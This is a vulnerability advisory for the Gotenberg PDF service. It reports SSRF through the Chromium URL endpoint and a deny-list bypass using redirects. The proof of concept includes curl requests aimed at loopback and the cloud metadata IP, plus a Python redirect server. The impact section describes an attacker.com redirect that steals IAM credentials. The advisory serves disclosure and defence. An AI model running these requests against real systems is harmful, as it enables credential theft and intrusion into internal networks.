Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the downloadFrom endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the webhook endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (/forms/chromium/convert/url), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to downloadFrom and webhook but is a separate finding from the initial request validation those advisories cover.

Summary

Gotenberg's Chromium URL-to-PDF endpoint (/forms/chromium/convert/url) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks file:// URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF.

Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows 302 redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list.

What makes this particularly notable is that Gotenberg's secondary features — downloadFrom and webhook — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not.

Details

Finding 1: Zero default SSRF protection on Chromium URL endpoint

The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in pkg/modules/chromium/chromium.go and the value shipped in Docker is:

^file:(?!//\/tmp/).*

This regex only blocks file:// URIs outside of /tmp/. HTTP and HTTPS requests to any host — including 127.0.0.1, 10.x.x.x, 192.168.x.x, and 169.254.169.254 — are not filtered at all.

Meanwhile, the downloadFrom and webhook endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint.

Finding 2: Redirect-based SSRF bypass on all endpoints

Both downloadFrom and webhook use Go's default http.Client{} with no CheckRedirect function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination.

The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target.

PoC

Tested on Docker using gotenberg/gotenberg:8 (v8.30.1) on localhost:3000. No authentication is required on any endpoint.

Environment:

$ curl http://localhost:3000/version
8.30.1

$ curl http://localhost:3000/health
{"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}}

1. Control — external URL works as expected:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://example.com' \
    -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 14961 bytes
$ file test.pdf
test.pdf: PDF document, version 1.4, 1 page(s)

2. Control — file:// protocol is correctly blocked by default deny-list:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=file:///etc/passwd' \
    -w "HTTP %{http_code}"

HTTP 403
Body: Forbidden

3. SSRF to localhost — NOT blocked:

$ curl -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://127.0.0.1:3000/health' \
    -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10196 bytes

Chromium fetched its own /health endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback.

4. Cloud metadata IP — NOT blocked:

$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://169.254.169.254/latest/meta-data/' \
    -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked)

The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF.

5. Redirect-based bypass — Chromium follows 302 to internal target:

Redirect server on the host (port 9999):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/health')
        self.end_headers()
    def do_HEAD(self):
        self.do_GET()

HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever()

$ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \
    --form 'url=http://172.17.0.1:9999/' \
    -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes"

HTTP 200, Size: 10244 bytes
$ file redir.pdf
redir.pdf: PDF document, version 1.4, 1 page(s)

Chromium followed the 302 redirect from http://172.17.0.1:9999/ (external, passes any deny-list) to http://127.0.0.1:3000/health (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination.

The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only file:// URIs were blocked by the default deny-list. The redirect from an external server to 127.0.0.1 was also followed without any check on the redirect target.

Impact

Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access.

Practical attack scenarios:

• Cloud credential theft: Request http://169.254.169.254/latest/meta-data/iam/security-credentials/ to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints.
• Internal service access: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards.
• Internal port scanning: Use response timing and content differences to map internal infrastructure.
• Deny-list bypass via redirect: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at https://attacker.com/r that responds with 302 → http://169.254.169.254/latest/meta-data/. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF.

The redirect bypass also affects the downloadFrom and webhook endpoints, which use Go's http.Client{} with no CheckRedirect function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop.

---